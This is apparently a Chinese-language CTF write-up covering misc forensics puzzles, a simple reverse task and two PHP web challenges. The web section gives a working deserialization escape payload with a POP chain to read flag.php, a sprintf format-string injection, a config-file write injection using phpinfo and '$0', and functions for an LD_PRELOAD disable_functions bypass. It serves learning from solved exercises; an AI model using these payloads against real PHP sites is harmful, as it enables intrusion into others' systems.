题目名都忘了。。。。
MISC
6G的题
flag就在下载的文件里面
curl http://server.zhaoj.in:8888/1GTest.file --output -|grep -a flag{
curl -i http://das.wetolink.com:8941/6GTest.file -H 'Range: bytes=6291450000-6291456050' --output -
Blueshark
右键复制值。然后得到一个7z。爆破得到密码141854
解压得到Flag
正解:
7Z中有个password_is_Bluetooth_PIN文件
搜索Pin。得到密码
Keyboard
内存取证filescan得到keyboard-log\t.txt
有种密码叫QWE(键盘密码)
解密下
然后。将那个secret拖入veracrypt。用KEYBOARDDRAOBYEK这个密钥解密
对解密出来的文件。Ctrl+F
AWDshell
查看HTTP请求。发现一句话木马
得到源码
分析下数据包。倒数第二个数据包是查看Flag的
本地搭webshell。然后将这个base64请求。发过去。看看明文
定位加密函数
搞懂加密流程,现在就缺一个key
可以看见。他的key是根据sessionid来的。我们本地搭个环境。sessionID。数据包中有
$key=@substr(str_pad(session_id(),16,'a'),0,16);
得到key
Reverse
ida打开。
将我们的输入^6然后加1
与akhb~chdaZrdaZudqduvdZvvv|比较
反向推一下就得到Flag
Web
Web1
给出了源码
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
本地开干
这里输入三个\0\0\0。会被替换成一个chr(0).*.chr(0)
等于6个字符串。被替换为了3个字符串
明摆着逃逸+对象注入。。
得到逃逸的反序列化字符串
然后我们需要构造如下的字符串
O:1:"A":2:{s:8:"username";s:3:"xxx";s:8:"password";payload;}
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:74:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}";}
注意。这里*两旁。是有chr(0)
的。不可见字符
简化下就成了
O:1:"A":2:{s:8:"username";s:3:"xxx";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}";}
Object对象。A。两个属性。第一个属性8个字符串。username。值为3个字符串xxx
password属性。值为Object对象B。然后XXXXPOP链
Web2
没环境。当时也没做。就看WP复现下
sprintf格式化注入
可以利用%1$去吃掉后面的一个字符。也就是单引号
也可以利用%1$c。配合39.构造单引号
然后进入下一关。配置写漏洞
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}else{
echo "set your shell"."<br>";
chdir("/");
highlight_file(dirname(__FILE__)."/admin.php");
}
?>
P神博客都有
https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html
第一次输入:;phpinfo();
$shell=';phpinfo();';
第二次输入:$0
在正则中。会将整个字符串。填进去
$shell = '$shell=';phpinfo();';';
最后用LD bypass disable_funcntion
这里mail,error_log都禁了
用gnupg扩展触发。
https://www.anquanke.com/post/id/197745?from=singlemessage
纪录下能触发LD的函数
mb_send_mail
exec
system
passthru
shell_exec
error_log
mail
gnupg_init
imap_mail
pcntl_exec
new gnupg()